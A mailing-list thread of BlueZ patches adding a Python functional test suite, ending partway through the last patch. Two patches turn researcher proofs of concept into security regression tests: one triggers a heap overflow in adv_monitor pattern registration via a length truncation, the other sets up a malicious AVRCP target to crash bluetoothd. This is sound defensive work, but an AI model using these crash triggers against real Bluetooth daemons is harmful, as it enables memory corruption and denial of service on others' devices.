+  AC_MSG_RESULT([ok])
+fi
+
 AC_ARG_ENABLE(experimental, AS_HELP_STRING([--enable-experimental],
 			[enable experimental tools]),
 					[enable_experimental=${enableval}])
-- 
2.55.0


^ permalink raw reply related	[flat|nested] 20+ messages in thread

* [PATCH BlueZ v7 4/9] test: functional: impose Python code formatting
  2026-09-06 16:49 [PATCH BlueZ v7 0/9] Functional/integration testing Pauli Virtanen
                   ` (2 preceding siblings ...)
  2026-09-06 16:49 ` [PATCH BlueZ v7 3/9] build: add functional testing target Pauli Virtanen
@ 2026-09-06 16:49 ` Pauli Virtanen
  2026-09-06 16:49 ` [PATCH BlueZ v7 5/9] test: functional: add some Agent1 interface tests Pauli Virtanen
                   ` (7 subsequent siblings)
  11 siblings, 0 replies; 20+ messages in thread
From: Pauli Virtanen @ 2026-09-06 16:49 UTC (permalink / raw)
  To: linux-bluetooth; +Cc: Pauli Virtanen

Check Python code formatting of the functional test suite.
---
 test/functional/requirements.txt |  1 +
 test/functional/test_tests.py    | 24 ++++++++++++++++++++++++
 2 files changed, 25 insertions(+)
 create mode 100644 test/functional/test_tests.py

diff --git a/test/functional/requirements.txt b/test/functional/requirements.txt
index e0e3bfee6..b8a1d99ee 100644
--- a/test/functional/requirements.txt
+++ b/test/functional/requirements.txt
@@ -1,2 +1,3 @@
 pytest>=8
 pytest-bluezenv==0.1.9
+black
diff --git a/test/functional/test_tests.py b/test/functional/test_tests.py
new file mode 100644
index 000000000..d196cb1d7
--- /dev/null
+++ b/test/functional/test_tests.py
@@ -0,0 +1,24 @@
+# -*- coding: utf-8; mode: python; eval: (blacken-mode); -*-
+# SPDX-License-Identifier: GPL-2.0-or-later
+"""
+Tests for the test suite itself
+"""
+
+import sys
+import subprocess
+import warnings
+from pathlib import Path
+
+import pytest
+
+
+def test_formatting():
+    pytest.importorskip("black")
+
+    result = subprocess.run(
+        [sys.executable, "-mblack", "--check", "--diff", "-q", Path(__file__).parent],
+        stdout=subprocess.PIPE,
+        encoding="utf-8",
+    )
+    if result.returncode != 0:
+        warnings.warn(f"Formatting incorrect:\n{result.stdout}")
-- 
2.55.0


^ permalink raw reply related	[flat|nested] 20+ messages in thread

* [PATCH BlueZ v7 5/9] test: functional: add some Agent1 interface tests
  2026-09-06 16:49 [PATCH BlueZ v7 0/9] Functional/integration testing Pauli Virtanen
                   ` (3 preceding siblings ...)
  2026-09-06 16:49 ` [PATCH BlueZ v7 4/9] test: functional: impose Python code formatting Pauli Virtanen
@ 2026-09-06 16:49 ` Pauli Virtanen
  2026-09-06 16:49 ` [PATCH BlueZ v7 6/9] test: functional: add basic obex file transfer tests Pauli Virtanen
                   ` (6 subsequent siblings)
  11 siblings, 0 replies; 20+ messages in thread
From: Pauli Virtanen @ 2026-09-06 16:49 UTC (permalink / raw)
  To: linux-bluetooth; +Cc: Pauli Virtanen

Add test

test/functional/test_agent.py::test_agent_pair_bredr
---
 test/functional/test_agent.py | 47 +++++++++++++++++++++++++++++++++++
 1 file changed, 47 insertions(+)
 create mode 100644 test/functional/test_agent.py

diff --git a/test/functional/test_agent.py b/test/functional/test_agent.py
new file mode 100644
index 000000000..f2ce34576
--- /dev/null
+++ b/test/functional/test_agent.py
@@ -0,0 +1,47 @@
+# -*- coding: utf-8; mode: python; eval: (blacken-mode); -*-
+# SPDX-License-Identifier: GPL-2.0-or-later
+"""
+Tests for bluetoothctl using VM instances
+"""
+
+import sys
+import re
+import pytest
+import subprocess
+import tempfile
+
+import time
+import logging
+
+
+from pytest_bluezenv import host_config, Agent, wait_until
+
+pytestmark = [pytest.mark.vm]
+
+
+@host_config([Agent()], [Agent()])
+@pytest.mark.parametrize("success", [True, False], ids=["accept", "reject"])
+def test_agent_pair_bredr(hosts, success):
+    host0, host1 = hosts
+
+    host0.agent.adapter_method("StartDiscovery")
+    host0.agent.expect("org.bluez.Adapter1.StartDiscovery:reply")
+
+    host1.agent.adapter_set("Pairable", True)
+    host1.agent.adapter_set("Discoverable", True)
+
+    wait_until(host0.agent.has_device, host1.bdaddr)
+
+    host0.agent.device_method(host1.bdaddr, "Pair")
+
+    confirm_0 = host0.agent.expect("org.bluez.Agent1.RequestConfirmation")
+    confirm_1 = host1.agent.expect("org.bluez.Agent1.RequestConfirmation")
+    assert confirm_0.passkey == confirm_1.passkey
+    host0.agent.reply()
+
+    if success:
+        host1.agent.reply()
+        host0.agent.expect("org.bluez.Device1.Pair:reply")
+    else:
+        host1.agent.reply_error()
+        host0.agent.expect("org.bluez.Device1.Pair:error")
-- 
2.55.0


^ permalink raw reply related	[flat|nested] 20+ messages in thread

* [PATCH BlueZ v7 6/9] test: functional: add basic obex file transfer tests
  2026-09-06 16:49 [PATCH BlueZ v7 0/9] Functional/integration testing Pauli Virtanen
                   ` (4 preceding siblings ...)
  2026-09-06 16:49 ` [PATCH BlueZ v7 5/9] test: functional: add some Agent1 interface tests Pauli Virtanen
@ 2026-09-06 16:49 ` Pauli Virtanen
  2026-09-06 16:49 ` [PATCH BlueZ v7 7/9] test: functional: add tests running the various kernel testers Pauli Virtanen
                   ` (5 subsequent siblings)
  11 siblings, 0 replies; 20+ messages in thread
From: Pauli Virtanen @ 2026-09-06 16:49 UTC (permalink / raw)
  To: linux-bluetooth; +Cc: Pauli Virtanen

Add tests for Obex DBus API and obexctl

test/functional/test_obex.py::test_obex_ftp_get
test/functional/test_obex.py::test_obex_ftp_list
test/functional/test_obex.py::test_obexctl_list
---
 test/functional/test_obex.py | 286 +++++++++++++++++++++++++++++++++++
 1 file changed, 286 insertions(+)
 create mode 100644 test/functional/test_obex.py

diff --git a/test/functional/test_obex.py b/test/functional/test_obex.py
new file mode 100644
index 000000000..345b61326
--- /dev/null
+++ b/test/functional/test_obex.py
@@ -0,0 +1,286 @@
+# -*- coding: utf-8; mode: python; eval: (blacken-mode); -*-
+# SPDX-License-Identifier: LGPL-2.1-or-later
+"""
+Tests for Obex
+"""
+
+import sys
+import os
+import re
+import pytest
+import subprocess
+import tempfile
+import time
+import logging
+import json
+import dbus
+import threading
+from pathlib import Path
+
+import pytest
+
+from pytest_bluezenv import (
+    HostPlugin,
+    Agent,
+    host_config,
+    find_exe,
+    Bluetoothd,
+    Bluetoothctl,
+    Obexd,
+    LogStream,
+    wait_until,
+    mainloop_wrap,
+    mainloop_assert,
+    Event,
+    EventPluginMixin,
+    dbus_service_event_method,
+    Pexpect,
+    utils,
+)
+
+pytestmark = [pytest.mark.vm]
+
+log = logging.getLogger(__name__)
+
+
+BUS_NAME = "org.bluez.obex"
+PATH = "/org/bluez/obex"
+AGENT_MANAGER_INTERFACE = "org.bluez.obex.AgentManager1"
+AGENT_INTERFACE = "org.bluez.obex.Agent1"
+CLIENT_INTERFACE = "org.bluez.obex.Client1"
+SESSION_INTERFACE = "org.bluez.obex.Session1"
+FILE_TRANSFER_INTERFACE = "org.bluez.obex.FileTransfer1"
+TRANSFER_INTERFACE = "org.bluez.obex.Transfer1"
+
+FTP_UUID = "00001106-0000-1000-8000-00805f9b34fb"
+
+
+class ObexAgent(HostPlugin, EventPluginMixin):
+    depends = [Bluetoothd()]
+    name = "obex_agent"
+
+    def __init__(self, path="/obexagent"):
+        self.path = path
+
+    @mainloop_wrap
+    def setup(self, impl):
+        EventPluginMixin.setup(self, impl)
+
+        self.bus = dbus.SessionBus()
+        self.bus.set_exit_on_disconnect(False)
+
+        self.agent = ObexAgentObject(self.bus, self.path, self.events)
+
+        bluez = self.bus.get_object(BUS_NAME, PATH)
+        self.manager = dbus.Interface(bluez, AGENT_MANAGER_INTERFACE)
+        self.manager.RegisterAgent(self.path)
+
+        log.info("Obex agent registered")
+
+    def cleanup(self):
+        path = Path("/run/obex")
+        for f in path.iterdir():
+            f.unlink()
+
+
+def agent_method(*a, **kw):
+    return dbus_service_event_method(AGENT_INTERFACE, *a, **kw)
+
+
+class ObexAgentObject(dbus.service.Object):
+    @mainloop_assert
+    def __init__(self, bus, path, events):
+        self.events = events
+        super().__init__(bus, path)
+
+    AuthorizePush = agent_method("AuthorizePush", ("path",), "o", "s", sync=False)
+    Cancel = agent_method("Cancel")
+
+
+def write_obex_file(name, content):
+    with open(f"/run/obex/{name}", "w") as f:
+        f.write(content)
+
+
+def read_file(name):
+    with open(name, "r") as f:
+        return f.read()
+
+
+#
+# Direct Obex Python client API tests
+#
+
+
+class ObexClient(HostPlugin, EventPluginMixin):
+    name = "obex"
+
+    @mainloop_wrap
+    def setup(self, impl):
+        EventPluginMixin.setup(self, impl)
+
+        self.transferred = 0
+        self.transfer_path = None
+        self.transfer_size = 0
+
+        self.bus = dbus.SessionBus()
+        self.bus.set_exit_on_disconnect(False)
+        self.log = logging.getLogger(self.name)
+        self.client = dbus.Interface(
+            self.bus.get_object(BUS_NAME, PATH), CLIENT_INTERFACE
+        )
+
+        self.bus.add_signal_receiver(
+            self.properties_changed,
+            dbus_interface="org.freedesktop.DBus.Properties",
+            signal_name="PropertiesChanged",
+            path_keyword="path",
+        )
+
+    @mainloop_wrap
+    def connect(self, bdaddr):
+        def reply(path):
+            obj = self.bus.get_object(BUS_NAME, path)
+            self.session = dbus.Interface(obj, SESSION_INTERFACE)
+            self.ftp = dbus.Interface(obj, FILE_TRANSFER_INTERFACE)
+
+        self._object_method(
+            self.client, "CreateSession", bdaddr, {"Target": "ftp"}, reply_handler=reply
+        )
+
+    @mainloop_assert
+    def properties_changed(self, interface, properties, invalidated, path):
+        if path != self.transfer_path:
+            return
+
+        if "Status" in properties and (
+            properties["Status"] == "complete" or properties["Status"] == "error"
+        ):
+            self.events.put(
+                Event(
+                    f"{FILE_TRANSFER_INTERFACE}:{properties['Status']}",
+                    properties=properties,
+                )
+            )
+            self.log.debug(f"Transfer {properties['Status']}")
+
+        if "Transferred" not in properties:
+            return
+
+        value = properties["Transferred"]
+        speed = (value - self.transferred) / 1000
+        self.log.debug(
+            f"Transfer progress {value}/{self.transfer_size} at {speed} kBps"
+        )
+        self.transferred = value
+
+    @mainloop_wrap
+    def ftp_list_folder(self):
+        return self.ftp.ListFolder()
+
+    @mainloop_wrap
+    def ftp_get_file(self, dst, src):
+        path, properties = self.ftp.GetFile(dst, src)
+        self.transfer_path = path
+        self.transfer_size = properties["Size"]
+        return properties["Filename"]
+
+
+@pytest.fixture
+def paired_hosts(hosts):
+    from .test_agent import test_agent_pair_bredr
+
+    if hosts[0].agent.has_device(hosts[1].bdaddr):
+        return hosts
+
+    test_agent_pair_bredr(hosts, True)
+    return hosts
+
+
+obex_host_config = host_config(
+    [Agent(), Obexd(), ObexClient(), Pexpect()],
+    [Agent(), Obexd(), ObexAgent()],
+    reuse=True,
+)
+
+
+@pytest.fixture
+def obex_hosts(paired_hosts):
+    host0, host1 = paired_hosts
+
+    if hasattr(host0, "session"):
+        return paired_hosts
+
+    host0.obex.connect(host1.bdaddr)
+
+    service = host1.agent.expect("org.bluez.Agent1.AuthorizeService")
+    assert service.uuid == FTP_UUID
+    host1.agent.reply()
+
+    host0.obex.expect("org.bluez.obex.Client1.CreateSession:reply")
+
+    yield paired_hosts
+
+    host1.obex_agent.cleanup()
+
+
+@obex_host_config
+def test_obex_ftp_list(obex_hosts):
+    host0, host1 = obex_hosts
+
+    host1.call(write_obex_file, "test", "1234")
+
+    (item,) = host0.obex.ftp_list_folder()
+    assert item["Type"] == "file"
+    assert item["Name"] == "test"
+    assert item["Size"] == 4
+
+
+@obex_host_config
+def test_obex_ftp_get(obex_hosts):
+    host0, host1 = obex_hosts
+
+    host1.call(write_obex_file, "test", "1234")
+
+    filename = host0.obex.ftp_get_file("", "test")
+    host0.obex.expect("org.bluez.obex.FileTransfer1:complete")
+    assert host0.call(read_file, filename) == "1234"
+
+
+#
+# obexctl tests
+#
+
+
+@pytest.fixture
+def obexctl(obex_hosts):
+    host0, host1 = obex_hosts
+
+    exe = find_exe("tools", "obexctl")
+    obexctl = host0.pexpect.spawn([exe])
+
+    obexctl.expect("Client /org/bluez/obex")
+    obexctl.send(f"connect {host1.bdaddr} {FTP_UUID}\n")
+
+    service = host1.agent.expect("org.bluez.Agent1.AuthorizeService")
+    assert service.uuid == FTP_UUID
+    host1.agent.reply()
+
+    obexctl.expect("Connection successful")
+    obexctl.send(f"select /org/bluez/obex/client/session1\n")
+
+    yield obexctl
+
+    obexctl.close()
+
+
+@obex_host_config
+def test_obexctl_list(obex_hosts, obexctl):
+    host0, host1 = obex_hosts
+
+    host1.call(write_obex_file, "test", "1234")
+
+    obexctl.send(f"ls\n")
+    obexctl.expect(f"Type: file")
+    obexctl.expect(f"Name: test")
+    obexctl.expect(f"Size: 4")
-- 
2.55.0


^ permalink raw reply related	[flat|nested] 20+ messages in thread

* [PATCH BlueZ v7 7/9] test: functional: add tests running the various kernel testers
  2026-09-06 16:49 [PATCH BlueZ v7 0/9] Functional/integration testing Pauli Virtanen
                   ` (5 preceding siblings ...)
  2026-09-06 16:49 ` [PATCH BlueZ v7 6/9] test: functional: add basic obex file transfer tests Pauli Virtanen
@ 2026-09-06 16:49 ` Pauli Virtanen
  2026-09-06 16:49 ` [PATCH BlueZ v7 8/9] test: functional: add test for adv_monitor crash Pauli Virtanen
                   ` (4 subsequent siblings)
  11 siblings, 0 replies; 20+ messages in thread
From: Pauli Virtanen @ 2026-09-06 16:49 UTC (permalink / raw)
  To: linux-bluetooth; +Cc: Pauli Virtanen

It's more convenient to have simple local test runner for these.
---
 test/functional/test_kernel_testers.py | 178 +++++++++++++++++++++++++
 test/pytest.ini                        |   1 +
 2 files changed, 179 insertions(+)
 create mode 100644 test/functional/test_kernel_testers.py

diff --git a/test/functional/test_kernel_testers.py b/test/functional/test_kernel_testers.py
new file mode 100644
index 000000000..bfdfb03e7
--- /dev/null
+++ b/test/functional/test_kernel_testers.py
@@ -0,0 +1,178 @@
+# -*- coding: utf-8; mode: python; eval: (blacken-mode); -*-
+# SPDX-License-Identifier: GPL-2.0-or-later
+"""
+Tests for the test suite itself
+"""
+
+import re
+import sys
+import subprocess
+import warnings
+from pathlib import Path
+
+import pytest
+
+from pytest_bluezenv import find_exe, host_config, run
+from pytest_bluezenv.utils import DEFAULT_TIMEOUT
+
+# Testers that can reuse the VM instance
+TESTERS = [
+    "mgmt-tester",
+    "smp-tester",
+    "l2cap-tester",
+    "rfcomm-tester",
+    "sco-tester",
+    "iso-tester",
+    "mesh-tester",
+    "ioctl-tester",
+    "bnep-tester",
+    "userchan-tester",
+    "6lowpan-tester",
+]
+
+XFAIL = {
+    "mesh-tester": {
+        # Always fail:
+        "Mesh - Send cancel - 1",
+        "Mesh - Send cancel - 2",
+    },
+    "mgmt-tester": {
+        # Always fail:
+        "Read Exp Feature - Success",
+        # Flaky, randomly fail:
+        "LL Privacy - Add Device 1 (Add to AL)",
+        "LL Privacy - Add Device 2 (2 Devices to AL)",
+        "LL Privacy - Add Device 3 (AL is full)",
+        "LL Privacy - Set Device Flag 1 (Device Privacy)",
+        "LL Privacy - Set Flags 1 (Add to RL)",
+        "LL Privacy - Set Flags 2 (Enable RL)",
+        "LL Privacy - Set Flags 3 (2 Devices to RL)",
+        "LL Privacy - Set Flags 4 (RL is full)",
+        "LL Privacy - Set Flags 5 (Multi Adv)",
+        "LL Privacy - Set Flags 6 (Multi Dev and Multi Adv)",
+        "LL Privacy - Start Discovery 2 (Disable RL)",
+    },
+}
+
+host_setup = host_config([], controller=False, reuse=True)
+
+
+def run_tester(hosts, tester):
+    (host,) = hosts
+    xfails = set(XFAIL.get(tester, ()))
+
+    tester = find_exe("tools", tester)
+    res = host.call(
+        run,
+        [tester],
+        stdout=subprocess.PIPE,
+        timeout=2 * DEFAULT_TIMEOUT + 60,
+        encoding="utf-8",
+        errors="surrogateescape",
+    )
+
+    passed, failed, not_run = _parse_tester_output(res.stdout)
+    xfailed = []
+
+    for name in list(failed):
+        if name in xfails:
+            failed.remove(name)
+            xfailed.append(name)
+            xfails.remove(name)
+
+    assert failed == [], failed
+
+    if xfails:
+        warnings.warn("XPASS: " + ", ".join(xfails))
+
+    if xfailed:
+        pytest.xfail(reason=", ".join(xfailed))
+
+
+@pytest.mark.tester
+@pytest.mark.parametrize("tester", TESTERS)
+@host_setup
+def test_kernel_tester(hosts, tester):
+    run_tester(hosts, tester)
+
+
+@host_setup
+def test_kernel_selftest(hosts):
+    (host,) = hosts
+
+    tester = find_exe("tools", "check-selftest")
+    res = host.call(
+        run,
+        [tester],
+        stdout=subprocess.PIPE,
+        timeout=2 * DEFAULT_TIMEOUT + 60,
+        encoding="utf-8",
+        errors="surrogateescape",
+    )
+    assert res.returncode == 0
+
+    if not res.stdout.strip():
+        pytest.skip("CONFIG_BT_SELFTEST not enabled")
+
+    assert "PASS" in res.stdout, res.stdout
+    assert "FAIL" not in res.stdout, res.stdout
+
+
+def _parse_tester_output(output):
+    total_count = 0
+    passed_count = 0
+    failed_count = 0
+    not_run_count = 0
+
+    passed = []
+    failed = []
+    not_run = []
+
+    in_summary = False
+    for line in output.splitlines():
+        line = line.strip()
+
+        if "Test Summary" in line:
+            in_summary = True
+            continue
+        if not in_summary:
+            continue
+        if "----" in line or "Overall execution time" in line or not line:
+            continue
+
+        m = re.search(
+            r"Total: (\d+).*Passed: (\d+).*Failed: (\d+).*Not Run: (\d+)", line
+        )
+        if m:
+            total_count += int(m.group(1))
+            passed_count += int(m.group(2))
+            failed_count += int(m.group(3))
+            not_run_count += int(m.group(4))
+            continue
+
+        m = re.match(r"^([\x20-\xff]+)\s+.*(Passed|Failed|Not Run|Timed out)", line)
+        assert m, line
+
+        name = m.group(1).strip()
+        verdict = m.group(2).strip().lower()
+
+        if verdict == "passed":
+            passed.append(name)
+        elif verdict in ("failed", "timed out"):
+            failed.append(name)
+        elif verdict == "not run":
+            not_run.append(name)
+        else:
+            raise ValueError("Unknown {verdict=!r}")
+
+    # Check we parsed everything
+    if len(passed) != passed_count:
+        raise ValueError(f"Invalid {passed_count=}, {passed=}")
+    if len(failed) != failed_count:
+        raise ValueError(f"Invalid {failed_count=}, {failed=}")
+    if len(not_run) != not_run_count:
+        raise ValueError(f"Invalid {not_run_count=}, {not_run=}")
+    if total_count == 0:
+        raise RuntimeError(f"No tests ran")
+
+    return passed, failed, not_run
diff --git a/test/pytest.ini b/test/pytest.ini
index 92820e819..6b97c6525 100644
--- a/test/pytest.ini
+++ b/test/pytest.ini
@@ -5,6 +5,7 @@ log_level = 0
 log_file = test-functional.log
 markers =
     vm: tests requiring VM image
+    tester: kernel testers
 
 addopts =
     -p pytest_bluezenv
-- 
2.55.0


^ permalink raw reply related	[flat|nested] 20+ messages in thread

* [PATCH BlueZ v7 8/9] test: functional: add test for adv_monitor crash
  2026-09-06 16:49 [PATCH BlueZ v7 0/9] Functional/integration testing Pauli Virtanen
                   ` (6 preceding siblings ...)
  2026-09-06 16:49 ` [PATCH BlueZ v7 7/9] test: functional: add tests running the various kernel testers Pauli Virtanen
@ 2026-09-06 16:49 ` Pauli Virtanen
  2026-09-06 16:49 ` [PATCH BlueZ v7 9/9] test: functional: add test for AVRCP crash Pauli Virtanen
                   ` (3 subsequent siblings)
  11 siblings, 0 replies; 20+ messages in thread
From: Pauli Virtanen @ 2026-09-06 16:49 UTC (permalink / raw)
  To: linux-bluetooth; +Cc: Pauli Virtanen

Add test checking adv_monitor overflow crash.
From PoC provided by Alexandro Calo' (Nozomi Networks Labs)
---
 test/functional/conftest.py         |   6 ++
 test/functional/test_adv_monitor.py | 123 ++++++++++++++++++++++++++++
 test/pytest.ini                     |   1 +
 3 files changed, 130 insertions(+)
 create mode 100644 test/functional/test_adv_monitor.py

diff --git a/test/functional/conftest.py b/test/functional/conftest.py
index bd26b7e4f..9e3f6c50d 100644
--- a/test/functional/conftest.py
+++ b/test/functional/conftest.py
@@ -50,9 +50,15 @@ def pytest_collection_finish(session):
 
 @pytest.hookimpl()
 def pytest_collection_modifyitems(session, config, items):
+    sa_re = re.compile(r"_GHSA_...._...._....")
+
     for item in items:
         callspec = getattr(item, "callspec", None)
 
         # Add vm mark to VM-using tests
         if callspec is not None and callspec.params.get("vm_setup", None) is not None:
             item.add_marker(pytest.mark.vm)
+
+        # Add security advisory marks based on test name
+        if sa_re.search(item.name):
+            item.add_marker(pytest.mark.sa)
diff --git a/test/functional/test_adv_monitor.py b/test/functional/test_adv_monitor.py
new file mode 100644
index 000000000..e7f109314
--- /dev/null
+++ b/test/functional/test_adv_monitor.py
@@ -0,0 +1,123 @@
+# -*- coding: utf-8; mode: python; eval: (blacken-mode); -*-
+# SPDX-License-Identifier: LGPL-2.1-or-later
+import dbus
+import dbus.service
+import pytest
+
+from pytest_bluezenv import host_config, Bluetoothd, wait_until, mainloop_wrap, get_dbus
+
+
+@host_config([Bluetoothd(conf="[General]\nExperimental = true")])
+def test_adv_monitor_GHSA_hhgc_hfgf_8m4x(hosts):
+    assert hosts[0].call(check_adv_monitor_GHSA_hhgc_hfgf_8m4x)
+
+
+def check_adv_monitor_GHSA_hhgc_hfgf_8m4x(adapter="/org/bluez/hci0"):
+    """NN-2026-0142 - Heap overflow via uint8 cp_len truncation in
+    adv_monitor pattern registration (src/adv_monitor.c:1113-1125).
+    """
+
+    NUM_PATTERNS = 8
+    PATTERN_SIZE = 34
+    OBSERVE_SECS = 5.0
+    APP_ROOT = "/NN20260142"
+
+    def make_patterns():
+        return dbus.Array(
+            [
+                dbus.Struct(
+                    (
+                        dbus.Byte(0),
+                        dbus.Byte(0xFF),
+                        dbus.Array([dbus.Byte(0x41)] * 31, signature="y"),
+                    ),
+                    signature="yyay",
+                )
+                for _ in range(NUM_PATTERNS)
+            ],
+            signature="(yyay)",
+        )
+
+    class Monitor(dbus.service.Object):
+        def __init__(self, bus, path, patterns):
+            super().__init__(bus, path)
+            self.patterns = patterns
+
+        @dbus.service.method(
+            "org.freedesktop.DBus.Properties", in_signature="s", out_signature="a{sv}"
+        )
+        def GetAll(self, iface):
+            return {
+                "Type": dbus.String("or_patterns"),
+                "Patterns": self.patterns,
+            }
+
+        @dbus.service.method("org.bluez.AdvertisementMonitor1")
+        def Release(self):
+            print("[*] monitor released")
+
+        @dbus.service.method("org.bluez.AdvertisementMonitor1")
+        def Activate(self):
+            print(
+                "[+] monitor activated (overflow already happened in "
+                "the ADD_ADV_PATTERNS_MONITOR mgmt call)"
+            )
+
+    class App(dbus.service.Object):
+        def __init__(self, bus, path, patterns):
+            super().__init__(bus, path)
+            self.monitor_path = dbus.ObjectPath(path + "/monitor0")
+            self.monitor = Monitor(bus, self.monitor_path, patterns)
+
+        @dbus.service.method(
+            "org.freedesktop.DBus.ObjectManager", out_signature="a{oa{sa{sv}}}"
+        )
+        def GetManagedObjects(self):
+            return {
+                self.monitor_path: {
+                    "org.bluez.AdvertisementMonitor1": self.monitor.GetAll(
+                        "org.bluez.AdvertisementMonitor1"
+                    )
+                }
+            }
+
+    success = None
+
+    def register_ok():
+        nonlocal success
+        print("[+] RegisterMonitor returned", flush=True)
+        success = True
+
+    def register_err(exc):
+        nonlocal success
+        print("[*] RegisterMonitor error:", exc, flush=True)
+        success = False
+
+    @mainloop_wrap
+    def start_register():
+        bus = get_dbus()
+
+        app = App(bus, APP_ROOT, make_patterns())
+        mgr = dbus.Interface(
+            bus.get_object("org.bluez", adapter),
+            "org.bluez.AdvertisementMonitorManager1",
+        )
+
+        cp_len = (1 + NUM_PATTERNS * PATTERN_SIZE) & 0xFF
+        total_len = 1 + NUM_PATTERNS * PATTERN_SIZE
+        print(
+            "[*] RegisterMonitor with %d patterns: cp_len=%d total=%d"
+            % (NUM_PATTERNS, cp_len, total_len),
+            flush=True,
+        )
+        mgr.RegisterMonitor(
+            dbus.ObjectPath(APP_ROOT),
+            reply_handler=register_ok,
+            error_handler=register_err,
+        )
+
+    start_register()
+
+    wait_until(lambda: success is not None, timeout=OBSERVE_SECS)
+
+    return success
diff --git a/test/pytest.ini b/test/pytest.ini
index 6b97c6525..8e4c109bb 100644
--- a/test/pytest.ini
+++ b/test/pytest.ini
@@ -5,6 +5,7 @@ log_level = 0
 log_file = test-functional.log
 markers =
     vm: tests requiring VM image
+    sa: security advisory regression tests
     tester: kernel testers
 
 addopts =
-- 
2.55.0


^ permalink raw reply related	[flat|nested] 20+ messages in thread

* [PATCH BlueZ v7 9/9] test: functional: add test for AVRCP crash
  2026-09-06 16:49 [PATCH BlueZ v7 0/9] Functional/integration testing Pauli Virtanen
                   ` (7 preceding siblings ...)
  2026-09-06 16:49 ` [PATCH BlueZ v7 8/9] test: functional: add test for adv_monitor crash Pauli Virtanen
@ 2026-09-06 16:49 ` Pauli Virtanen
  2026-09-08 17:48 ` [PATCH BlueZ v7 0/9] Functional/integration testing Luiz Augusto von Dentz
                   ` (2 subsequent siblings)
  11 siblings, 0 replies; 20+ messages in thread
From: Pauli Virtanen @ 2026-09-06 16:49 UTC (permalink / raw)
  To: linux-bluetooth; +Cc: Pauli Virtanen

Add test checking AVRCP ListPlayerAttributes crash.
From PoC provided by Alexandro Calo' (Nozomi Networks Labs)

Refactor test_obex.paired_hosts fixture to global fixture.
---
 test/functional/conftest.py   |  12 ++
 test/functional/test_avrcp.py | 281 ++++++++++++++++++++++++++++++++++
 test/functional/test_obex.py  |  19 +--
 3 files changed, 297 insertions(+), 15 deletions(-)
 create mode 100644 test/functional/test_avrcp.py

diff --git a/test/functional/conftest.py b/test/functional/conftest.py
index 9e3f6c50d..6f50efe0e 100644
--- a/test/functional/conftest.py
+++ b/test/functional/conftest.py
@@ -3,6 +3,7 @@
 import os
 import re
 from pathlib import Path
+import pytest
 
 
 def pytest_addoption(parser):
@@ -62,3 +63,14 @@ def pytest_collection_modifyitems(session, config, items):
         # Add security advisory marks based on test name
         if sa_re.search(item.name):
             item.add_marker(pytest.mark.sa)
+
+
+@pytest.fixture
+def paired_hosts_bredr(hosts):
+    from .test_agent import test_agent_pair_bredr
+
+    if hosts[0].agent.has_device(hosts[1].bdaddr):
+        return hosts
+
+    test_agent_pair_bredr(hosts, True)
+    return hosts
diff --git a/test/functional/test_avrcp.py b/test/functional/test_avrcp.py
new file mode 100644
index 000000000..3b04c9615
--- /dev/null
+++ b/test/functional/test_avrcp.py
@@ -0,0 +1,281 @@
+# -*- coding: utf-8; mode: python; eval: (blacken-mode); -*-
+# SPDX-License-Identifier: LGPL-2.1-or-later
+import uuid
+import threading
+import time
+import select
+import os
+import subprocess
+import struct
+
+import pytest
+import dbus
+
+from pytest_bluezenv import (
+    host_config,
+    Bluetoothd,
+    Agent,
+    wait_until,
+    mainloop_wrap,
+    get_dbus,
+    HostPlugin,
+)
+
+
+class CheckAvrcpCrash_GHSA_m2vx_pw5f_rc8v(HostPlugin):
+    name = "avrcp_crash"
+
+    @mainloop_wrap
+    def setup(self, impl):
+        self.bus = get_dbus()
+        self.profile = check_avrcp_GHSA_m2vx_pw5f_rc8v(self.bus)
+        print("[*] waiting for victim AVRCP connection", flush=True)
+
+    def wait_done(self):
+        return self.profile.wait_done()
+
+
+@host_config(
+    [Agent()],
+    [
+        Bluetoothd(args=("-d", "-P", "avrcp")),
+        CheckAvrcpCrash_GHSA_m2vx_pw5f_rc8v(),
+        Agent(),
+    ],
+)
+def test_avrcp_GHSA_m2vx_pw5f_rc8v(paired_hosts_bredr):
+    client, server = paired_hosts_bredr
+
+    client.agent.device_method(
+        server.bdaddr, "ConnectProfile", "0000110c-0000-1000-8000-00805f9b34fb"
+    )
+    client.agent.expect("org.bluez.Device1.ConnectProfile:reply")
+
+    assert server.avrcp_crash.wait_done()
+
+    # Bluetoothd shall not have crashed, and still respond
+    client.agent.device_method(server.bdaddr, "Disconnect")
+    client.agent.expect("org.bluez.Device1.Disconnect:reply")
+
+
+def check_avrcp_GHSA_m2vx_pw5f_rc8v(bus):
+    """NN-2026-0145 AVRCP PoC. BlueZ supplies the accepted AVCTP file
+    descriptor through Profile1.NewConnection.
+
+    """
+
+    PSM_AVCTP = 0x17
+    AVC_PID = 0x110E
+    AVCTP_COMMAND = 0
+    AVCTP_RESPONSE = 1
+    AVC_CTYPE_ACCEPTED = 0x09
+    AVC_CTYPE_STABLE = 0x0C
+    AVC_OP_VENDORDEP = 0x00
+    AVC_SUBUNIT_PANEL = 0x09
+
+    PDU_GET_CAPABILITIES = 0x10
+    PDU_LIST_PLAYER_ATTRS = 0x11
+    PDU_GET_CURRENT_PLAYER_VALUE = 0x13
+    PDU_REGISTER_NOTIFICATION = 0x31
+    CAP_EVENTS_SUPPORTED = 0x03
+    EVENT_TRACK_CHANGED = 0x02
+    COMPANY_BTSIG = b"\x00\x19\x58"
+
+    SDP_TG_RECORD = """<?xml version="1.0" encoding="UTF-8" ?>
+    <record>
+      <attribute id="0x0001">
+        <sequence><uuid value="0x110c"/><uuid value="0x110e"/></sequence>
+      </attribute>
+      <attribute id="0x0004">
+        <sequence>
+          <sequence><uuid value="0x0100"/><uint16 value="0x0017"/></sequence>
+          <sequence><uuid value="0x0017"/><uint16 value="0x0104"/></sequence>
+        </sequence>
+      </attribute>
+      <attribute id="0x0009">
+        <sequence><sequence><uuid value="0x110e"/><uint16 value="0x0104"/></sequence></sequence>
+      </attribute>
+      <attribute id="0x0311"><uint16 value="0x0011"/></attribute>
+    </record>
+    """
+
+    def hexdump(data):
+        if data is None:
+            return "<None>"
+        return " ".join("%02x" % byte for byte in data)
+
+    def send_all(fd, data):
+        view = memoryview(data)
+        while view:
+            count = os.write(fd, view)
+            if count <= 0:
+                raise OSError("AVCTP write made no progress")
+            view = view[count:]
+
+    def recv_one(fd):
+        readable, _, _ = select.select([fd], [], [], None)
+        if readable:
+            try:
+                return os.read(fd, 1024)
+            except OSError:
+                return None
+        return None
+
+    def avctp_header(transaction, command_response):
+        return bytes([(transaction << 4) | (command_response << 1)]) + struct.pack(
+            ">H", AVC_PID
+        )
